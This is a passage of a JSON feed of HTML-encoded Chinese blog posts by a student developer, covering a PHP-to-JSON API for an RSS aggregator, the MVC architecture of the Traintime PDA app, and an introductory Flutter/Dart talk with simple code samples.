content:encoded 里面,这就是显示不完整。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e我是一个基本没接触过 PHP 的人,但是代码比较好理解,我发动 CV 大法,把示例文件里面的解码文件抄了过来。然后就可以显示了……乱码。\u003c/p\u003e\n\u003cp\u003e没错,可能是为了兼容老电脑,这个东西使用国标码编码中文。我还得套一层中文编码器,这个我倒感觉能理解。毕竟这个网站本身是针对 Windows 98 级别的老爷机了。\u003c/p\u003e\n\u003cp\u003e以上修改都是针对 channel.php 文件,也就是输出 RSS 文章列表和文章内容的代码。这个项目有很多诸如 channel_ppc.php 等文件,我故意没动,让他们管理我新闻东西的输出,看着新闻这点阵字体,真的很怀旧。\u003c/p\u003e\n\u003ch4 id=\"api\"\u003eAPI\u003c/h4\u003e\n\u003cp\u003e上面的修改过程也是对本项目架构和功能的一个了解。在此之后,我魔改生成 Json 响应代码也就顺水成舟了。\u003c/p\u003e\n\u003cp\u003e这就又要扯到 Traintime PDA 了,这是我大半年以来一直在写的信息查看器。我一直想给这玩意扩充点好玩的功能。最一开始我把很久以前给别人录的饭堂和综合楼数据,在我的程序上进行渲染。但是我总想给这玩意扩充点类似“社交”的功能。正好 XDU Planet 可以在一定程度上满足这个需求,这个可以给大家展示我们同学公开的实用东西,而且这个东西也不需要获取啥机密讯息:他们的博客都是在互联网上公开的,而且终端只需要单方面获取就行了,这是一个单向的信息传递。我的代码也都是开放的,十分符合我开源的执念233\u003c/p\u003e\n\u003cp\u003e前面我提到了 channel.php 的用途,而这个代码的前半部分基本不需要修改,我只需要把下面的 PHP-HTML 混合代码修改成纯脚本输出就行了。PHP 本身支持设置返回头啥的,我只需要把返回头设置成 application/json,然后使用 exit 函数返回我的数据就行了。这就是初步的修改。\u003c/p\u003e\n\u003cp\u003e显然这么简单一改是无法完全我的需求的,API 面向的客户端可不是老年机。为了最后的 Eye candy,我对最核心的数据结构进行了修改。你们可以查看我的 xdurepo.php 文件,我把这个人的图标,名称,地址都传了过去。而最终为了输出 json 更好被客户端解码,我在每个返回值外面都套上了 stdClass。\u003c/p\u003e\n\u003cp\u003e基本上 API 就算这样了,我这里写出来。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"err\"\u003eGET\u003c/span\u003e \u003cspan class=\"err\"\u003e/xduplanet.php\u003c/span\u003e\n\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;repos\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;benderblog\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"c1\"\u003e// key: 该对象名称,后面查询使用\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;SuperBart/Benderblog ~ 开发者\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 显示名称\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;website\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://www.superbart.xyz\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 博客网站\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;feed\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://www.superbart.xyz/index.xml\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// RSS 或 ATOM 源头\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;favicon\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://legacy.superbart.xyz/favicon.ico\u0026#34;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 图标\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"err\"\u003eGET\u003c/span\u003e \u003cspan class=\"err\"\u003e/xduplanet.php?feed=key\u003c/span\u003e\n\u003cspan class=\"err\"\u003e其中\u003c/span\u003e \u003cspan class=\"err\"\u003ekey\u003c/span\u003e \u003cspan class=\"err\"\u003e是上述提到的后面查询使用的\u003c/span\u003e \u003cspan class=\"err\"\u003ekey\u003c/span\u003e\n\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"c1\"\u003e// 文章列表,下面分别对应标题,发布时间和来源链接\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;list\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;title\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Flutter 介绍\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;time\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;2023-04-29T08:00:00+08:00\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;url\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://www.superbart.xyz/p/flutter-introduction.html\u0026#34;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n \u003cspan class=\"c1\"\u003e// lastUpdateDate:本数据的获取时间,为将来备\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;lastUpdateTime\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e1689432413\u003c/span\u003e\u003cspan class=\"err\"\u003e用\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"err\"\u003eGET\u003c/span\u003e \u003cspan class=\"err\"\u003e/xduplanet.php?feed=key\u0026amp;p=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\n\u003cspan class=\"err\"\u003e其中\u003c/span\u003e \u003cspan class=\"err\"\u003ekey\u003c/span\u003e \u003cspan class=\"err\"\u003e是上述提到的后面查询使用的\u003c/span\u003e \u003cspan class=\"err\"\u003ekey,p\u003c/span\u003e \u003cspan class=\"err\"\u003e指上面文章列表中第几个文章\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 文章标题,来源链接,发布时间,内容\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e// 注意内容是和前面所述老网站网页输出是一样的,也就是图片,视频等会被隐藏掉\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;title\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Flutter 介绍\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;link\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://www.superbart.xyz/p/flutter-introduction.html\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;time\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e1682726400\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n \u003cspan class=\"nt\"\u003e\u0026#34;content\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Omit here.\u0026#34;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e我在 Traintime PDA 里面的相关分页也写了相关页面,还明白了 PageView 如何保存状态,每天一个编程小常识这就是?\u003c/p\u003e\n\u003ch3 id=\"后面的胡说阶段\"\u003e后面的胡说阶段\u003c/h3\u003e\n\u003cp\u003e我把这个服务挂在了我的服务器上,还上新了一些外网著名媒体。没敢上那些明显危险的,我感觉这些媒体都算是比较中立的吧:-P\u003c/p\u003e\n\u003cp\u003e顺便想说几句 PHP 开发,我写了一个文件,然后调试方式只能传到服务器,然后看 nginx 的 log。魔改体验比较痛苦:-P\u003c/p\u003e\n\u003cp\u003e对于新闻,作为一个看了十年中央十三台的人来说,我有点无法理解拿新闻看乐子的人的想法。虽然这个方式确实是给了我这个老木头一点亮光。比如说,前几天是故日本首相安倍晋三被刺杀一周年纪念日,我作为严肃看新闻的,去看现任首相岸田文雄去纪念,然后继续不顾周边国家骂街去放核污水。但是有人说“日本JK被摔倒一周年纪念日”,我总觉得有点无语,倒也觉得正常。\u003c/p\u003e\n\u003cp\u003e但我发现,有些时候真的有点太过了。比如说俄乌战争,本来我去网上只是去看战争状况,然后就是无论从那个角度,都是“俄罗斯粉丝”和“乌克兰粉丝”互相隔空输出,顺便拿乌克兰找乐啥的。我总觉得拿人被欺负开玩笑很不合适,虽然这件事本身很复杂,没有任何人是无辜的。虽然我早就接触过楼下老大爷天天建政,也算“身经百战”,但是我感觉,这可是一个了解世界,了解想法很重要的渠道,就这么当作乐子,真的有点不太合适。\u003c/p\u003e\n\u003cp\u003e我希望看到的是对一个事件有调查,有分析,有结论的东西,这样无论如何至少都能骂两句(不是)。而不是“今天澳大利亚又刮起了沙尘暴,养羊的少了几只羊,估计是走失了”这样的短视频。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/xdu-planet-acquaintance.html"},{"title":"Traintime PDA 架构设计","time":"2023-06-06T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://legacy.superbart.xyz/picture/XDYou_SAD/general_structure.png\" alt=\"Featured image of post Traintime PDA 架构设计 \"/\u003e\u003cp\u003eXDYou 就算 Traintime PDA 别称了。\u003c/p\u003e\n\u003ch2 id=\"整体架构设计\"\u003e整体架构设计\u003c/h2\u003e\n\u003cp\u003e由于本程序是一个信息查询工具,其基本是围绕数据运转的,所以我打算使用仓库架构。这个图作为一个大致的示例。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/XDYou_SAD/repo.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/XDYou_SAD/repo.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e但光靠一个“仓库”是无法维护本程序如此多类型的信息的,你现实中的仓库还得找个管理呢。因此我借鉴了构件系统的想法,把仓库里面的东西分成以下几个“部件”。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/XDYou_SAD/components.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/XDYou_SAD/components.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e仓库结构解决了我们如何管理我们复杂的数据,但是我们的程序是一个 GUI 程序。也就是说,这个程序有两个部分,一个是数据,一个是显示数据的东西。数据相当于仓库,而 GUI 是用来向仓库请求数据,并显示数据的部分。仓库返回数据的时候,肯定需要一些处理,这个东西就是控制器,是我们程序仓库的一大组成 部分,我将会在下面讲述。\n这个架构有个名称,叫做 MVC 架构,在此引入我在\u003ca class=\"link\" href=\"https://legacy.superbart.xyz/writing/Flutter%20Introduction.html\" target=\"_blank\" rel=\"noopener\"\u003eFlutter 介绍\u003c/a\u003e里面提到的东西:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e我先给大家介绍 MVC 架构,Model 模型,是说程序的功能。控制器是和视图View进行交流,View视图就是显示了。View 通过 Controller 获取 Model 中的东西。\n以下这段展示的是我程序对应的模型各组成的部分。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/XDYou_SAD/simple_structure.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/XDYou_SAD/simple_structure.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e这个架构也可以看作是一种流水线结构,其中控制器相当于一种过滤器。接下来我会专门开一章简介一下。\n同时,我们可以看出我们程序的层级结构,数据大致是从中心往外围传递的。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/XDYou_SAD/level.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/XDYou_SAD/level.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"控制器\"\u003e控制器\u003c/h2\u003e\n\u003cp\u003e我上文提到,控制器负责中转 GUI(也就是视图)的请求,处理后端传回来的数据。这个有两种实现方式,分别是观察式和控制器类式。\u003c/p\u003e\n\u003ch3 id=\"观察式\"\u003e观察式\u003c/h3\u003e\n\u003cp\u003e第一个是观察式,适用于数据单向流动,数据加工相对简单的情况。这种情况下,这个部件的数据流动遵循标准的数据流架构。这个过程中,由于数据的单向移动和最终 UI 的被动更新,我们可以认为是 UI \u003cstrong\u003e观察\u003c/strong\u003e数据改变。在这种情况下,数据更新依赖于其他部件的更新请求是不是顾及到了这个部件,比如说主页的全局刷新。\n\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/XDYou_SAD/observe.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/XDYou_SAD/observe.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch3 id=\"控制器类式\"\u003e控制器类式\u003c/h3\u003e\n\u003cp\u003e第二个是控制器类式,不仅适用于数据加工十分复杂的情况,而且适用于需要视图发出更新请求的情况。在这个情况下,数据的流动不是单纯的单向,而是双向的。而且由于涉及到很多信息,还有很多部件都依赖于一个信息源,这个控制器使用一个类的方式实现比较合适。\n在我的程序中,课表信息是用这个实现的,因为课表信息相当综合,而且很多视图依赖于课表信息。\n我的课表信息包括:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e当前周次信息\u003c/li\u003e\n\u003cli\u003e课程信息\u003c/li\u003e\n\u003cli\u003e课程的时间安排信息\u003c/li\u003e\n\u003cli\u003e根据上面两个信息,预先计算好的按照时间排序的课表信息\u003c/li\u003e\n\u003cli\u003e当前课程信息\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e依赖课表信息的视图有:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e课程表窗口,这个只是单向接受课表信息\u003c/li\u003e\n\u003cli\u003e首页的周次信息显示,单向接受周次信息\u003c/li\u003e\n\u003cli\u003e首页的当前课程卡片,这个不仅可以展示当前课程信息,还可以触发重新加载\u003c/li\u003e\n\u003cli\u003e首页重新加载包括重新加载课表\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e具体图示请看下面总结图中的课表相关部分。\u003c/p\u003e\n\u003ch2 id=\"自行管理状态\"\u003e自行管理状态\u003c/h2\u003e\n\u003cp\u003e虽然很多数据是遵循上面提到的控制器(数据流)系统。我程序有两个数据是自行管理的,也就是说,他不需要上面提到的管道,而是自行管理。因为这些数据依赖于之前已经获取到的数据。我的程序有两个部分是自行管理的:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e查询成绩中,自行选择科目计算均分,这个均分状态是由成绩查询窗口维护的。查询窗口维护一个成绩数组,自己检测选中的科目,然后计算显示。\u003c/li\u003e\n\u003cli\u003e查询打卡成绩中,我们需要维护一个布尔变量,他用来决定显示的是所有记录还是成功记录。显然,这需要依赖于已经返回的数据。大家可以类比为 js 里面对数组进行 filter 操作。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e上面两章想了解更多,可以看\u003ca class=\"link\" href=\"https://legacy.superbart.xyz/writing/Flutter%20Introduction.html\" target=\"_blank\" rel=\"noopener\"\u003eFlutter 介绍\u003c/a\u003e文章中 Flutter 内部的状态管理章节。\u003c/p\u003e\n\u003ch2 id=\"总结\"\u003e总结\u003c/h2\u003e\n\u003cp\u003e最后,我们根据分类,看出以下按照部件和数据流动看出来的布局。其中,横线表示这两个在程序中是紧密相关的,箭头代表了数据流动的方向。紫色的是控制器,蓝绿色的是最终的窗口。\n\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/XDYou_SAD/general_structure.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/XDYou_SAD/general_structure.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\n我们程序的架构是这样的:\u003cp\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e程序是围绕数据运转的,所以总体上遵循仓库架构,其中仓库分成若干组件。\u003c/li\u003e\n\u003cli\u003e各个组件有一条数据流的线性传递方式,控制器作为数据源,也就是仓库,和最终显示组件之间的过滤器和中转站。\u003c/li\u003e\n\u003cli\u003e大致可以看作数据-控制器-界面的三层结构。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/xdyou-sad.html"},{"title":"Flutter 介绍","time":"2023-04-29T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://legacy.superbart.xyz/picture/Flutter%20Introduction/Maggie\u0026#39;s%20Butterfly%20Longest%20Daycard%20Short.jpg\" alt=\"Featured image of post Flutter 介绍\"/\u003e\u003cp\u003e有人邀请我去开个沙龙,我决定将这个,这个就是当时我的演讲稿。\u003c/p\u003e\n\u003ch2 id=\"什么是-flutter--flutter-的好处\"\u003e什么是 Flutter \u0026amp; Flutter 的好处\u003c/h2\u003e\n\u003cp\u003eFlutter 是一个跨平台的客户端(以及网络前端)开发工具,官方定义为:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eFlutter 是 Google 开源的应用开发框架,仅通过一套代码库,就能构建精美的、原生平台编译的多平台应用。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e鉴于入门介绍,我就说的明白些。\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e这玩意是用来写客户端程序的,也就是面向用户的程序。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e这个东西能够为很多平台生成应用,尽量做到了“平台无关”。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e这个东西上手比较简单,性能比较高,开发效率很高。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e目前这个和 React Native 并列两大最流行的跨平台开发平台。而 React Native 还是占用了 React 前端开发框架(Flutter 受 React 影响很大)的优势,Flutter 相比之下就比较小众了,找工作不太好找:-P\u003c/p\u003e\n\u003cp\u003e对我而言,有了 Flutter 的基础,后面要适应其他的类似框架就方便多了。最近我被(zi)人(ji)拉(zhao)过(shi)去(qing)写 vue 去了,我之前没有接触过。但是我稍微看了一下 vue 组合式的教程,就能给人打下手了。CSS 我现在还不会,感觉要会了,我就又会了一个框架(逃)。\u003c/p\u003e\n\u003ch2 id=\"dart-语言介绍\"\u003eDart 语言介绍\u003c/h2\u003e\n\u003cp\u003eFlutter 使用的是 Dart 语言,目前是 Google 专门为 Flutter 设计的语言,因为我根本没找到任何在其他方面用 Dart 编程的例子。而且这玩意曾经还想嵌入到 Chrome……\u003c/p\u003e\n\u003ch3 id=\"dart--javascript--java\"\u003eDart = Javascript + Java\u003c/h3\u003e\n\u003cp\u003e语法像 Javascript,运行时环境像 Java。\u003c/p\u003e\n\u003cp\u003e像 Javascript 在于存在箭头函数,函数变量之类。Dart 对异步的实现 Future 也借鉴了 JS 的 Promise。因为 Dart 设计的时候,对标的就是 JavaScript。\u003c/p\u003e\n\u003cp\u003e而运行环境像 Java,因为他的类设计,编译和运行也很像 Java。类的方面下面会说明。\u003c/p\u003e\n\u003cp\u003eDart 代码的运行有三种方式:一种是直接解释,一种是转码成 Javascript ,一种是编译成 DartVM 虚拟机机器码,然后在 DartVM 里面运行。最后一种有一种 Java VM 的既视感讲道理:-P\u003c/p\u003e\n\u003cp\u003e上面三种方式对应了 Flutter 的开发:调试开发,网页开发,客户端程序。\u003c/p\u003e\n\u003ch3 id=\"给点例子吧\"\u003e给点例子吧\u003c/h3\u003e\n\u003ch4 id=\"基本\"\u003e基本\u003c/h4\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"c1\"\u003e// Dart 是强类型语言,但是支持类型推断\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003elineCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 循环,判断和 C 和 JS 一样\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eweLikeToCount\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003elineCount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ecountLines\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003elineCount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"o\"\u003e--\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003elineCount\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"函数\"\u003e函数\u003c/h4\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"c1\"\u003e// 普通函数\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003efibonacci\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003efibonacci\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003efibonacci\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 箭头函数(和 JS 的有点区别)\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003efib\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003efib\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan 